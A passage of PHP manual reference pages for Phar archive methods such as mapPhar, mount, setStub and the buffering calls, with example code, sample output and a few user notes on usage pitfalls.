    $phar2 = new Phar('myuncompressed.tar.phar');
    var_dump($phar2->isCompressed());
    $phar2->compressAllFilesGZ();
    var_dump($phar2->isCompressed() == Phar::GZ);
} catch (Exception $e) {
}
?>

The above example will output:

bool(false)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

  • « Phar::isCompressed
  • Phar::isValidPharFilename »
  • PHP Manual
  • Phar
  • Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

Phar::isFileFormat

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

Description

public bool Phar::isFileFormat ( int $format )

Parameters

format

Either Phar::PHAR, Phar::TAR, or Phar::ZIP to test for the format of the archive.

Return Values

Returns TRUE if the phar archive matches the file format requested by the parameter

Errors/Exceptions

PharException is thrown if the parameter is an unknown file format specifier.

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the given filename is a valid phar filename

  • « Phar::isFileFormat
  • Phar::isWritable »
  • PHP Manual
  • Phar
  • Returns whether the given filename is a valid phar filename

Phar::isValidPharFilename

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename

Description

final public static bool Phar::isValidPharFilename ( string $filename [, bool $executable = true ] )

Returns whether the given filename is a valid phar filename that will be recognized as a phar archive by the phar extension. This can be used to test a name without having to instantiate a phar archive and catch the inevitable Exception that will be thrown if an invalid name is specified.

Parameters

filename

The name or full path to a phar archive not yet created

executable

This parameter determines whether the filename should be treated as a phar executable archive, or a data non-executable archive

Return Values

Returns TRUE if the filename is valid, FALSE if not.

User Contributed Notes

sebastian dot krebs dot berlin at googlemail dot com 09-Oct-2011 09:54
Note, that this method accepts _everything_ (=> returns 'true'), when $executable is 'false' as long as the filename contains at least a dot

var_dump(\PharData::isValidPharFilename('randomstring.y', false));
bool(true)

This is not wrong at all, because I can name an archive like I want, but it makes the method completely useless (when $executable == false).


Returns true if the phar archive can be modified

  • « Phar::isValidPharFilename
  • Phar::loadPhar »
  • PHP Manual
  • Phar
  • Returns true if the phar archive can be modified

Phar::isWritable

(Unknown)

Phar::isWritable — Returns true if the phar archive can be modified

Description

public bool Phar::isWritable ( void )

This method returns TRUE if phar.readonly is 0, and the actual phar archive on disk is not read-only.

Parameters

No parameters.

Return Values

Returns TRUE if the phar archive can be modified

See Also

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • PharData::isWritable() - Returns true if the tar/zip archive can be modified

User Contributed Notes

kristof dot coomans at telenet dot be 23-Apr-2009 03:08
It might be not expected, but this function will return true if the file does not exist yet even if the directory is read-only. Tested on PHP 5.3.0 RC 1.

I have buffering on and when I call stopBuffering() then the "failed to open stream: Permission denied" PharException will be thrown.


Loads any phar archive with an alias

  • « Phar::isWritable
  • Phar::mapPhar »
  • PHP Manual
  • Phar
  • Loads any phar archive with an alias

Phar::loadPhar

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::loadPhar — Loads any phar archive with an alias

Description

final public static bool Phar::loadPhar ( string $filename [, string $alias ] )

This can be used to read the contents of an external Phar archive. This is most useful for assigning an alias to a phar so that subsequent references to the phar can use the shorter alias, or for loading Phar archives that only contain data and are not intended for execution/inclusion in PHP scripts.

Parameters

filename

the full or relative path to the phar archive to open

alias

The alias that may be used to refer to the phar archive. Note that many phar archives specify an explicit alias inside the phar archive, and a PharException will be thrown if a new alias is specified in this case.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if an alias is passed in and the phar archive already has an explicit alias

Examples

Example #1 A Phar::loadPhar() example

Phar::loadPhar can be used anywhere to load an external Phar archive, whereas Phar::mapPhar should be used in a loader stub for a Phar.

<?php
try {
    Phar::loadPhar('/path/to/phar.phar', 'my.phar');
    echo file_get_contents('phar://my.phar/file.txt');
} catch (PharException $e) {
    echo $e;
}
?>

See Also

  • Phar::mapPhar() - Reads the currently executed file (a phar) and registers its manifest

User Contributed Notes

There are no user contributed notes for this page.


Reads the currently executed file (a phar) and registers its manifest

  • « Phar::loadPhar
  • Phar::mount »
  • PHP Manual
  • Phar
  • Reads the currently executed file (a phar) and registers its manifest

Phar::mapPhar

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest

Description

final public static bool Phar::mapPhar ([ string $alias [, int $dataoffset = 0 ]] )

This static method can only be used inside a Phar archive's loader stub in order to initialize the phar when it is directly executed, or when it is included in another script.

Parameters

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

dataoffset

Unused variable, here for compatibility with PEAR's PHP_Archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if not called directly within PHP execution, if no __HALT_COMPILER(); token is found in the current source file, or if the file cannot be opened for reading.

Examples

Example #1 A Phar::mapPhar() example

mapPhar should be used only inside a phar's loader stub. Use loadPhar to load an external phar into memory.

Here is a sample Phar loader stub that uses mapPhar.

<?php
function __autoload($class)
{
    include 'phar://me.phar/' . str_replace('_', '/', $class) . '.php';
}
try {
    Phar::mapPhar('me.phar');
    include 'phar://me.phar/startup.php';
} catch (PharException $e) {
    echo $e->getMessage();
    die('Cannot initialize Phar');
}
__HALT_COMPILER();

See Also

  • Phar::loadPhar() - Loads any phar archive with an alias

User Contributed Notes

phofstetter at sensational dot ch 03-Oct-2013 11:52
Be careful with mapPhar and opcode caches like opcache: They might cache files included by the symbolic name based on the symbolic name you give.

This becomes a problem when a server is hosting multiple different versions of a phar file all using the same symbolic name because then subsequent include()'s in the phar file might load an already cached file from another version of the phar file.

Instead, generate a unique name and use that in mapPhar and in subsequent include()'s

See for example https://github.com/zendtech/ZendOptimizerPlus/issues/115#issuecomment-25612769 for the issue in the opcache module.


Mount an external path or file to a virtual location within the phar archive

  • « Phar::mapPhar
  • Phar::mungServer »
  • PHP Manual
  • Phar
  • Mount an external path or file to a virtual location within the phar archive

Phar::mount

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::mount — Mount an external path or file to a virtual location within the phar archive

Description

final public static void Phar::mount ( string $pharpath , string $externalpath )

Much like the unix file system concept of mounting external devices to paths within the directory tree, Phar::mount() allows referring to external files and directories as if they were inside of an archive. This allows powerful abstraction such as referring to external configuration files as if they were inside the archive.

Parameters

pharpath

The internal path within the phar archive to use as the mounted path location. This must be a relative path within the phar archive, and must not already exist.

externalpath

A path or URL to an external file or directory to mount within the phar archive

Return Values

No return. PharException is thrown on failure.

Errors/Exceptions

Throws PharException if any problems occur mounting the path.

Examples

Example #1 A Phar::mount() example

The following example shows accessing an external configuration file as if it were a path within a phar archive.

First, the code inside of a phar archive:

<?php
$configuration = simplexml_load_string(file_get_contents(
    Phar::running(false) . '/config.xml'));
?>

Next the external code used to mount the configuration file:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
Phar::mount('phar://config.xml', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

Another method is to put the mounting code inside the stub of the phar archive. Here is an example of setting up a default configuration file if no user configuration is specified:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
if (defined('EXTERNAL_CONFIG')) {
    Phar::mount('config.xml', EXTERNAL_CONFIG);
    if (file_exists(__DIR__ . '/extra_config.xml')) {
        Phar::mount('extra.xml', __DIR__ . '/extra_config.xml');
    }
} else {
    Phar::mount('config.xml', 'phar://' . __FILE__ . '/default_config.xml');
    Phar::mount('extra.xml', 'phar://' . __FILE__ . '/default_extra.xml');
}
// now run the application
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
?>

...and the code externally to load this phar archive:

<?php
define('EXTERNAL_CONFIG', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

User Contributed Notes

espendiller at gmx dot de 09-Jun-2010 12:20
i tested phar to generate a one file drupal installation.
as every cms, drupal put all uploaded files in a seperate folder (i.e. /sites).

i think the mount options here expected a file, i didnt get it to work on mounting a folder. is there any possibility to do that?

to generate a phar out of drupal7 with sqlite database

build.php
$phar = new Phar('drupal7.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/drupal-7.0-alpha5');
$phar->setStub("<?php
Phar::interceptFileFuncs();
Phar::mount('sites/default/settings.php', __DIR__ . '/sites/default/settings.php');
Phar::mount('database.db', __DIR__ . '/database.db');
Phar::webPhar();
__HALT_COMPILER(); ?>"
);

to call the phar iam using a .htacces file:
RewriteCond %{REQUEST_URI} !^/drupal.phar/
RewriteCond %{REQUEST_URI} !build.php
RewriteRule ^(.*)$ /drupal.phar/$1


Defines a list of up to 4 $_SERVER variables that should be modified for execution

  • « Phar::mount
  • Phar::offsetExists »
  • PHP Manual
  • Phar
  • Defines a list of up to 4 $_SERVER variables that should be modified for execution

Phar::mungServer

(Unknown)

Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution

Description

final public static void Phar::mungServer ( array $munglist )

Phar::mungServer() should only be called within the stub of a phar archive.

Defines a list of up to 4 $_SERVER variables that should be modified for execution. Variables that can be modified to remove traces of phar execution are REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME.

On its own, this method does nothing. Only when combined with Phar::webPhar() does it take effect, and only when the requested file is a PHP file to be parsed. Note that the PATH_INFO and PATH_TRANSLATED variables are always modified.

The original values of variables that are modified are stored in the SERVER array with PHAR_ prepended, so for instance SCRIPT_NAME would be saved as PHAR_SCRIPT_NAME.

Parameters

munglist

an array containing as string indices any of REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME. Other values trigger an exception, and Phar::mungServer() is case-sensitive.

Return Values

No return.

Errors/Exceptions

Throws UnexpectedValueException if any problems are found with the passed in data.

Examples

Example #1 A Phar::mungServer() example

<?php
// example stub
Phar::mungServer(array('REQUEST_URI'));
Phar::webPhar();
__HALT_COMPILER();
?>

See Also

  • Phar::webPhar() - mapPhar for web-based phars. front controller for web applications
  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


determines whether a file exists in the phar

  • « Phar::mungServer
  • Phar::offsetGet »
  • PHP Manual
  • Phar
  • determines whether a file exists in the phar

Phar::offsetExists

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetExists — determines whether a file exists in the phar

Description

public bool Phar::offsetExists ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets.

offsetExists() is called whenever isset() is called.

Parameters

offset

The filename (relative path) to look for in a Phar.

Return Values

Returns TRUE if the file exists within the phar, or FALSE if not.

Examples

Example #1 A Phar::offsetExists() example

<?php
$p = new Phar(dirname(__FILE__) . '/my.phar', 0, 'my.phar');
$p['firstfile.txt'] = 'first file';
$p['secondfile.txt'] = 'second file';
// the next set of lines call offsetExists() indirectly
var_dump(isset($p['firstfile.txt']));
var_dump(isset($p['nothere.txt']));
?>

The above example will output:

bool(true)
bool(false)

See Also

  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


Gets a PharFileInfo object for a specific file

  • « Phar::offsetExists
  • Phar::offsetSet »
  • PHP Manual
  • Phar
  • Gets a PharFileInfo object for a specific file

Phar::offsetGet

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetGet — Gets a PharFileInfo object for a specific file

Description

public int Phar::offsetGet ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. Phar::offsetGet() is used for retrieving files from a Phar archive.

Parameters

offset

The filename (relative path) to look for in a Phar.

Return Values

A PharFileInfo object is returned that can be used to iterate over a file's contents or to retrieve information about the current file.

Errors/Exceptions

This method throws BadMethodCallException if the file does not exist in the Phar archive.

Examples

Example #1 Phar::offsetGet() example

As with all classes that implement the ArrayAccess interface, Phar::offsetGet() is automatically called when using the [] angle bracket operator.

<?php
$p = new Phar(dirname(__FILE__) . '/myphar.phar', 0, 'myphar.phar');
$p['exists.txt'] = "file exists\n";
try {
    // automatically calls offsetGet()
    echo $p['exists.txt'];
    echo $p['doesnotexist.txt'];
} catch (BadMethodCallException $e) {
    echo $e;
}
?>

The above example will output:

file exists
Entry doesnotexist.txt does not exist

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


set the contents of an internal file to those of an external file

  • « Phar::offsetGet
  • Phar::offsetUnset »
  • PHP Manual
  • Phar
  • set the contents of an internal file to those of an external file

Phar::offsetSet

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetSet — set the contents of an internal file to those of an external file

Description

public void Phar::offsetSet ( string $offset , string $value )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a Phar archive.

Parameters

offset

The filename (relative path) to modify in a Phar.

value

Content of the file.

Return Values

No return values.

Errors/Exceptions

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

Examples

Example #1 A Phar::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // calls offsetSet
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'Could not modify file.txt:', $e;
}
?>

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.


remove a file from a phar

  • « Phar::offsetSet
  • Phar::running »
  • PHP Manual
  • Phar
  • remove a file from a phar

Phar::offsetUnset

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetUnset — remove a file from a phar

Description

public bool Phar::offsetUnset ( string $offset )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

Parameters

offset

The filename (relative path) to modify in a Phar.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

Examples

Example #1 A Phar::offsetUnset() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // deletes file.txt from my.phar by calling offsetUnset
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'Could not delete file.txt: ', $e;
}
?>

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory
  • Phar::delete() - Delete a file within a phar archive

User Contributed Notes

There are no user contributed notes for this page.


Returns the full path on disk or full phar URL to the currently executing Phar archive

  • « Phar::offsetUnset
  • Phar::setAlias »
  • PHP Manual
  • Phar
  • Returns the full path on disk or full phar URL to the currently executing Phar archive

Phar::running

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive

Description

final public static string Phar::running ([ bool $retphar = true ] )

Returns the full path to the running phar archive. This is intended for use much like the __FILE__ magic constant, and only has effect inside an executing phar archive.

Inside the stub of an archive, Phar::running() returns "". Simply use __FILE__ to access the current running phar inside a stub.

Parameters

retphar

If FALSE, the full path on disk to the phar archive is returned. If TRUE, a full phar URL is returned.

Return Values

Returns the filename if valid, empty string otherwise.

Examples

Example #1 A Phar::running() example

For the following example, assume the phar archive is located at /path/to/phar/my.phar.

<?php
$a = Phar::running(); // $a is "phar:///path/to/my.phar"
$b = Phar::running(false); // $b is "/path/to/my.phar"
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the alias for the Phar archive

  • « Phar::running
  • Phar::setDefaultStub »
  • PHP Manual
  • Phar
  • Set the alias for the Phar archive

Phar::setAlias

(PHP >= 5.3.0, PECL phar >= 1.2.1)

Phar::setAlias — Set the alias for the Phar archive

Description

public bool Phar::setAlias ( string $alias )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Set the alias for the Phar archive, and write it as the permanent alias for this phar archive. An alias can be used internally to a phar archive to ensure that use of the phar stream wrapper to access internal files always works regardless of the location of the phar archive on the filesystem. Another alternative is to rely upon Phar's interception of include or to use Phar::interceptFileFuncs() and use relative paths.

Parameters

alias

A shorthand string that this archive can be referred to in phar stream wrapper access.

Return Values

Errors/Exceptions

Throws UnexpectedValueException when write access is disabled, and PharException if the alias is already in use or any problems were encountered flushing changes to disk.

Examples

Example #1 A Phar::setAlias() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setAlias('myp.phar');
} catch (Exception $e) {
    // handle error
}
?>

See Also

  • Phar::__construct() - Construct a Phar archive object
  • Phar::interceptFileFuncs() - instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

There are no user contributed notes for this page.


Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

  • « Phar::setAlias
  • Phar::setMetadata »
  • PHP Manual
  • Phar
  • Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

Phar::setDefaultStub

(Unknown)

Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

Description

public bool Phar::setDefaultStub ([ string $index [, string $webindex ]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is a convenience method that combines the functionality of Phar::createDefaultStub() and Phar::setStub().

Parameters

index

Relative path within the phar archive to run if accessed on the command-line

webindex

Relative path within the phar archive to run if accessed through a web browser

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::setDefaultStub() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setDefaultStub('cli.php', 'web/index.php');
    // this is the same as:
    // $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.


Sets phar archive meta-data

  • « Phar::setDefaultStub
  • Phar::setSignatureAlgorithm »
  • PHP Manual
  • Phar
  • Sets phar archive meta-data

Phar::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setMetadata — Sets phar archive meta-data

Description

public void Phar::setMetadata ( mixed $metadata )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

Parameters

metadata

Any PHP variable containing information to store that describes the phar archive

Return Values

No value is returned.

Examples

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not create and/or modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


set the signature algorithm for a phar and apply it.

  • « Phar::setMetadata
  • Phar::setStub »
  • PHP Manual
  • Phar
  • set the signature algorithm for a phar and apply it.

Phar::setSignatureAlgorithm

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.

Description

public void Phar::setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::OPENSSL.

Note that all executable phar archives have a signature created automatically, SHA1 by default. data tar- or zip-based archives (archives created with the PharData class) must have their signature created and set explicitly via Phar::setSignatureAlgorithm().

Parameters

sigtype

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::OPENSSL

privatekey

The contents of an OpenSSL private key, as extracted from a certificate or OpenSSL key file:

<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>
See phar introduction for instructions on naming and placement of the public key file.

Return Values

No value is returned.

Errors/Exceptions

Throws UnexpectedValueException for many errors, and a PharException if any problems occur flushing changes to disk.

See Also

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Used to set the PHP loader or bootstrap stub of a Phar archive

  • « Phar::setSignatureAlgorithm
  • Phar::startBuffering »
  • PHP Manual
  • Phar
  • Used to set the PHP loader or bootstrap stub of a Phar archive

Phar::setStub

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive

Description

public bool Phar::setStub ( string $stub [, int $len = -1 ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to add a PHP bootstrap loader stub to a new Phar archive, or to replace the loader stub in an existing Phar archive.

The loader stub for a Phar archive is used whenever an archive is included directly as in this example:

<?php
include 'myphar.phar';
?>

The loader is not accessed when including a file through the phar stream wrapper like so:

<?php
include 'phar://myphar.phar/somefile.php';
?>

Parameters

stub

A string or an open stream handle to use as the executable stub for this phar archive.

len

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::setStub() example

<?php
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['a.php'] = '<?php var_dump("Hello");';
    $p->setStub('<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/a.php';
    var_dump($p->getStub());
    $p['b.php'] = '<?php var_dump("World");';
    $p->setStub('<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/b.php';
    var_dump($p->getStub());
} catch (Exception $e) {
    echo 'Write operations failed on brandnewphar.phar: ', $e;
}
?>

The above example will output:

string(5) "Hello"
string(82) "<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"
string(5) "World"
string(83) "<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"

Changelog

Version | Description
5.4.0 | Added len parameter.

See Also

  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

Olivier Laviale 17-Jul-2011 04:14
If your stub has a namespace, it is used for each include that doesn't define one.
jaimz22 at gmail dot com 17-Jan-2008 12:04
One thing I had alot of problems with, is that i can't set the stub unless I put the whole operation inside of a try/catch block!

If i remove the try/catch block it will error our and not write the stub with the content i want it to have.


Start buffering Phar write operations, do not modify the Phar object on disk

  • « Phar::setStub
  • Phar::stopBuffering »
  • PHP Manual
  • Phar
  • Start buffering Phar write operations, do not modify the Phar object on disk

Phar::startBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk

Description

public void Phar::startBuffering ( void )

Although technically unnecessary, the Phar::startBuffering() method can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. the Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

No value is returned.

Examples

Example #1 A Phar::startBuffering() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->setCompressedGZ();
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://myphar.phar/' . str_replace('_', '/', $class) . '.php';
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
?>

See Also

  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

There are no user contributed notes for this page.


Stop buffering write requests to the Phar archive, and save changes to disk

  • « Phar::startBuffering
  • Phar::uncompressAllFiles »
  • PHP Manual
  • Phar
  • Stop buffering write requests to the Phar archive, and save changes to disk

Phar::stopBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk

Description

public void Phar::stopBuffering ( void )

Phar::stopBuffering() is used in conjunction with the Phar::startBuffering() method. Phar::startBuffering() can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. The Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

No value is returned.

Errors/Exceptions

PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::stopBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file1.txt'] = 'hi';
$p->startBuffering();
var_dump($p->getStub());
$p->setStub("<?php
function __autoload(\$class)
{
    include 'phar://brandnewphar.phar/' . str_replace('_', '/', \$class) . '.php';
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
var_dump($p->getStub());
?>

The above example will output:

string(24) "<?php __HALT_COMPILER();"
string(195) "<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();"

See Also

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

There are no user contributed notes for this page.


Uncompresses all files in the current Phar archive

  • « Phar::stopBuffering
  • Phar::unlinkArchive »
  • PHP Manual
  • Phar
  • Uncompresses all files in the current Phar archive

Phar::uncompressAllFiles

(PECL phar < 2.0.0)

Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive

Description

public bool Phar::uncompressAllFiles ( void )

Note:

This
